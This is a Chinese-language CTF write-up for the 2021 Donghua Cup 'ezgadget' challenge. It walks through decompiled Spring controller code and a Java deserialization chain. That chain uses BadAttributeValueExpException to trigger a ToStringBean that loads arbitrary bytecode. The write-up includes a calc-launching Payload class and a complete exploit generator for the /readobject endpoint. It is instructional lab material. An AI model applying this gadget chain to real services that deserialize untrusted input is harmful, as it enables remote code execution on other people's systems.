[东华杯2021] ezgadget

23 篇文章 1 订阅
20 篇文章 1 订阅

环境配置

链接:https://pan.baidu.com/s/1t5-fV7SUETDEI5-qbZZQrw 
提取码:8do5

运行

java -jar ezgadget.jar

访问127.0.0.1:8888即可

是一个jar包,所以都是class文件,我这里是通过jd-gui,反编译源码,之后放到IDEA的maven项目中,再将文件中的lib包导入进去

File->Project Structrue->Libraries

image-20220606172009973

复现

其实主要的文件就三个IndexController.javaTools.javaToStringBean.java

ToStringBean.java

package com.ezgame.ctf.tools;

import java.io.Serializable;

public class ToStringBean extends ClassLoader implements Serializable {
    private byte[] ClassByte;

    public String toString() {
        com.ezgame.ctf.tools.ToStringBean toStringBean = new com.ezgame.ctf.tools.ToStringBean();
        Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
        Object Obj = null;
        try {
            Obj = clazz.newInstance();
        } catch (InstantiationException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
        return "enjoy it.";
    }
}

该类继承了ClassLoader,所以直接可以想到动态加载字节码,并且在toString()方法中,看到了defineClass(),之后try中又有个newInstance(),所以只要控制ClassByte的值,就可以任意代码执行。(defineClass直接加载字节码之前分析过不清楚可以看一下)

这里的ClassByte值就是我们需要执行命令的字节码文件,先构造一下。(Windows环境无法反弹shell,所以用calc代替了)

Payload.java

package com.ezgame.ctf;

import java.io.IOException;

public class Payload {
    static {
        try{
            Runtime.getRuntime().exec(new String[]{"calc"});
        } catch (IOException e){
            e.printStackTrace();
        }
    }
}

执行命令生成.class文件

javac Payload.java

写好后这部分的构造代码为:

        byte[] bytes= Files.readAllBytes(Paths.get("D:\\java\\CTF\\DongHuaBei\\src\\main\\java\\com\\ezgame\\ctf\\Payload.class"));

        ToStringBean toStringBean = new ToStringBean();
        Field classByte = toStringBean.getClass().getDeclaredField("ClassByte");
        classByte.setAccessible(true);
        classByte.set(toStringBean,bytes);

接着看控制器IndexController.java

package com.ezgame.ctf.controller;

import com.ezgame.ctf.tools.Tools;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class IndexController {
    @ResponseBody
    @RequestMapping({"/"})
    public String index(HttpServletRequest request, HttpServletResponse response) {
        return "index";
    }

    @ResponseBody
    @RequestMapping({"/readobject"})
    public String unser(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
        byte[] b = Tools.base64Decode(data);
        InputStream inputStream = new ByteArrayInputStream(b);
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        String name = objectInputStream.readUTF();
        int year = objectInputStream.readInt();
        if (name.equals("gadgets") && year == 2021)
            objectInputStream.readObject();
        return "welcome bro.";
    }
}

当路由为/readobject时,传参data,就会调用Tools类对其进行base64解密,之后字节数组创建输入流,对象输入流,然后接收一个字符串,接收一个数字,进行if判断name.equals("gadgets") && year == 2021,之后调用objectInputStream.readObject();,而在CC5中BadAttributeValueExpException类中重写了readObject(),可以调用toString()

类中通过构造方法修改val的值,在通过 gf.get(“val”, null);传给valobj,最后在readObject里调用valObj.toString();

public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);

    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
            || valObj instanceof Long
            || valObj instanceof Integer
            || valObj instanceof Float
            || valObj instanceof Double
            || valObj instanceof Byte
            || valObj instanceof Short
            || valObj instanceof Boolean) {
        val = valObj.toString();
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }
}

所以构造这里需要构造val的值,为toStringBean,这样就能调用到他的toString()中,这里需注意不能在实例化BadAttributeValueExpException时,直接把把值赋给val否则在readObject()前就会执行toString,反序列化就无效了

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("Sentiment");
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,toStringBean);

之后就是前边那段if判断了

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("gadgets");
objectOutputStream.writeInt(2021);
objectOutputStream.writeObject(badAttributeValueExpException);

Tools.java

package com.ezgame.ctf.tools;


import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class Tools {
    public static byte[] base64Decode(String base64) {
        Base64.Decoder decoder = Base64.getDecoder();
        return decoder.decode(base64);
    }

    public static String base64Encode(byte[] bytes) {
        Base64.Encoder encoder = Base64.getEncoder();
        return encoder.encodeToString(bytes);
    }

    public static byte[] serialize(Object obj) throws Exception {
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }

    public static Object deserialize(byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }
}

最后调用Tools中的base64Encode进行个base64编码即可

byte[] bytes1 = byteArrayOutputStream.toByteArray();
String s = base64Encode(bytes1);
System.out.println(s);

POC

package com.ezgame.ctf;
import com.ezgame.ctf.tools.ToStringBean;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;

import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

import static com.ezgame.ctf.tools.Tools.base64Encode;

public class Exp {
    public static void main(String[] args) throws Exception{
        byte[] bytes= Files.readAllBytes(Paths.get("D:\\java\\CTF\\DongHuaBei\\src\\main\\java\\com\\ezgame\\ctf\\Payload.class"));

        ToStringBean toStringBean = new ToStringBean();
        Field classByte = toStringBean.getClass().getDeclaredField("ClassByte");
        classByte.setAccessible(true);
        classByte.set(toStringBean,bytes);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("Sentiment");
        Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,toStringBean);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeUTF("gadgets");
        objectOutputStream.writeInt(2021);
        objectOutputStream.writeObject(badAttributeValueExpException);

        byte[] bytes1 = byteArrayOutputStream.toByteArray();
        String s = base64Encode(bytes1);
        System.out.println(s);

    }
}

最后传参时有个注意点,base编码后是存在加号的,而浏览器会将加号转义为空格,造成一些解析问题,所以传参前需要进行url编码

传参执行成功

image-20220606192218461

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值